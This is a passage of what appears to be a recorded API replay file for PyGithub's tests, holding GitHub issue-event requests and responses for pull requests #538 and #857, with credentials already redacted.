the create/delete/edit features, but the infrastructure should be in place for future improvements.\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1011101309 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"67201e42d1d2d8abe6e2b4cd07fd1ae277fdc8979deb5720283125b73fa5528d"'), ('Last-Modified', 'Sun, 15 Dec 2024 12:22:25 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '15'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A5A6:59502:21996A55:227DB0EC:677847C5')] {"id":1011101309,"node_id":"MDIwOlJldmlld1JlcXVlc3RlZEV2ZW50MTAxMTEwMTMwOQ==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1011101309","actor":{"login":"jzelinskie","id":343539,"node_id":"MDQ6VXNlcjM0MzUzOQ==","avatar_url":"https://avatars.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"review_requested","commit_id":null,"commit_url":null,"created_at":"2017-03-22T19:06:44Z","review_requester":{"login":"jzelinskie","id":343539,"node_id":"MDQ6VXNlcjM0MzUzOQ==","avatar_url":"https://avatars.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","user_view_type":"public","site_admin":false},"requested_reviewer":{"login":"jzelinskie","id":343539,"node_id":"MDQ6VXNlcjM0MzUzOQ==","avatar_url":"https://avatars.githubusercontent.com/u/343539?v=4","gravatar_id":"","url":"https://api.github.com/users/jzelinskie","html_url":"https://github.com/jzelinskie","followers_url":"https://api.github.com/users/jzelinskie/followers","following_url":"https://api.github.com/users/jzelinskie/following{/other_user}","gists_url":"https://api.github.com/users/jzelinskie/gists{/gist_id}","starred_url":"https://api.github.com/users/jzelinskie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jzelinskie/subscriptions","organizations_url":"https://api.github.com/users/jzelinskie/orgs","repos_url":"https://api.github.com/users/jzelinskie/repos","events_url":"https://api.github.com/users/jzelinskie/events{/privacy}","received_events_url":"https://api.github.com/users/jzelinskie/received_events","type":"User","user_view_type":"public","site_admin":false},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/events","html_url":"https://github.com/PyGithub/PyGithub/pull/538","id":215553858,"node_id":"MDExOlB1bGxSZXF1ZXN0MTExNjQ5NzAz","number":538,"title":"Add Support for Pull Request Reviews feature","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":8,"created_at":"2017-03-20T21:00:37Z","updated_at":"2024-10-18T08:57:49Z","closed_at":"2017-03-25T16:52:49Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/538","html_url":"https://github.com/PyGithub/PyGithub/pull/538","diff_url":"https://github.com/PyGithub/PyGithub/pull/538.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/538.patch","merged_at":"2017-03-25T16:52:49Z"},"body":"Adding support to Pull Request class to access new Github API features [Pull Request reviews](https://developer.github.com/v3/pulls/reviews/) and [Pull Request Reviewer Requests](https://developer.github.com/v3/pulls/review_requests/)\r\n\r\nThe API's is still in beta. \r\n\r\nI approached this by providing a minimal set of routines to access the list of reviews or a specific review. Also access to get a list of Reviewer requests. \r\n\r\nBecause the API is still early in Beta, I choose not to implement the create/delete/edit features, but the infrastructure should be in place for future improvements.\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/538/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1782463023 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d5b2ff58b4dd6cdd09efa4650d5336c08506faaead3dd26638edfc3d290cf838"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '16'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A5A8:4DB83:214C9410:2230D97A:677847C5')] {"id":1782463023,"node_id":"MDEzOlJlb3BlbmVkRXZlbnQxNzgyNDYzMDIz","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463023","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"reopened","commit_id":null,"commit_url":null,"created_at":"2018-08-10T13:10:09Z","state_reason":null,"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1782463379 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c0ff30383b44a39c933e0a8c13f590fd684e7a0b83fc8b5979ae2ca6fc526c6e"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A5B6:654DF:235B30A0:243F7676:677847C6')] {"id":1782463379,"node_id":"MDE1OlVuYXNzaWduZWRFdmVudDE3ODI0NjMzNzk=","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463379","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"unassigned","commit_id":null,"commit_url":null,"created_at":"2018-08-10T13:10:21Z","assignee":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"assigner":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be merged\r\n\r\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/timeline","performed_via_github_app":null,"state_reason":null},"performed_via_github_app":null} https GET api.github.com None /repos/PyGithub/PyGithub/issues/events/1782463917 {'Accept': 'application/vnd.github.sailor-v-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 20:25:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"24fdaab7ac69762128a26c4e0bad188c9b00fce70dfad4e9e55651c6ddedcd2d"'), ('Last-Modified', 'Fri, 03 Jan 2025 12:21:24 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; param=sailor-v-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1735938877'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'A5BA:1146F1:1DA1A590:1E6A92C3:677847C6')] {"id":1782463917,"node_id":"MDE0OlVubGFiZWxlZEV2ZW50MTc4MjQ2MzkxNw==","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events/1782463917","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","user_view_type":"public","site_admin":false},"event":"unlabeled","commit_id":null,"commit_url":null,"created_at":"2018-08-10T13:10:38Z","label":{"name":"improvement","color":"f46bb7"},"issue":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/857/events","html_url":"https://github.com/PyGithub/PyGithub/pull/857","id":348340651,"node_id":"MDExOlB1bGxSZXF1ZXN0MjA2NzEzMTAy","number":857,"title":"Adding new attributes to IssueEvent","user":{"login":"allevin","id":13543471,"node_id":"MDQ6VXNlcjEzNTQzNDcx","avatar_url":"https://avatars.githubusercontent.com/u/13543471?v=4","gravatar_id":"","url":"https://api.github.com/users/allevin","html_url":"https://github.com/allevin","followers_url":"https://api.github.com/users/allevin/followers","following_url":"https://api.github.com/users/allevin/following{/other_user}","gists_url":"https://api.github.com/users/allevin/gists{/gist_id}","starred_url":"https://api.github.com/users/allevin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/allevin/subscriptions","organizations_url":"https://api.github.com/users/allevin/orgs","repos_url":"https://api.github.com/users/allevin/repos","events_url":"https://api.github.com/users/allevin/events{/privacy}","received_events_url":"https://api.github.com/users/allevin/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":895322782,"node_id":"MDU6TGFiZWw4OTUzMjI3ODI=","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/improvement","name":"improvement","color":"f46bb7","default":false,"description":""}],"state":"closed","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":27,"created_at":"2018-08-07T14:14:44Z","updated_at":"2018-08-24T16:09:23Z","closed_at":"2018-08-24T16:01:30Z","author_association":"CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/857","html_url":"https://github.com/PyGithub/PyGithub/pull/857","diff_url":"https://github.com/PyGithub/PyGithub/pull/857.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/857.patch","merged_at":"2018-08-24T16:01:29Z"},"body":"See Issue #855 \r\n\r\nThe class [IssueEvent](https://github.com/PyGithub/PyGithub/blob/master/github/IssueEvent.py) is missing a large number of attributes documented in the [API](https://developer.github.com/v3/issues/events/).\r\n\r\nThis is also commented about in #653 to a degree\r\n\r\n27 of the tests 27 known event types have tests.\r\n\r\n**Currently Tested using Issue #30** \r\n- [x] subscribed\r\n- [x] assigned\r\n- [x] referenced \r\n- [x] closed \r\n- [x] labeled \r\n\r\n**Currently Tested using Issue/PR #538**\r\n- [x] merged\r\n- [x] mentioned\r\n- [x] review_requested\r\n\r\n**Currently Tested using Issue/PR #857**\r\n- [x] reopened\r\n- [x] unassigned\r\n- [x] unlabeled\r\n- [x] renamed\r\n- [x] base_ref_changed\r\n- [x] head_ref_deleted \r\n- [x] head_ref_restored\r\n- [x] milestoned\r\n- [x] demilestoned\r\n- [x] locked\r\n- [x] unlocked\r\n- [x] review_dismissed\r\n- [x] review_request_removed\r\n- [x] marked_as_duplicate\r\n- [x] unmarked_as_duplicate\r\n- [x] added_to_project \r\n- [x] moved_columns_in_project\r\n- [x] removed_from_project\r\n- [x] converted_note_to_issue - Note: this event is tied into Issue #866 \r\n\r\nThis PR is now ready to be 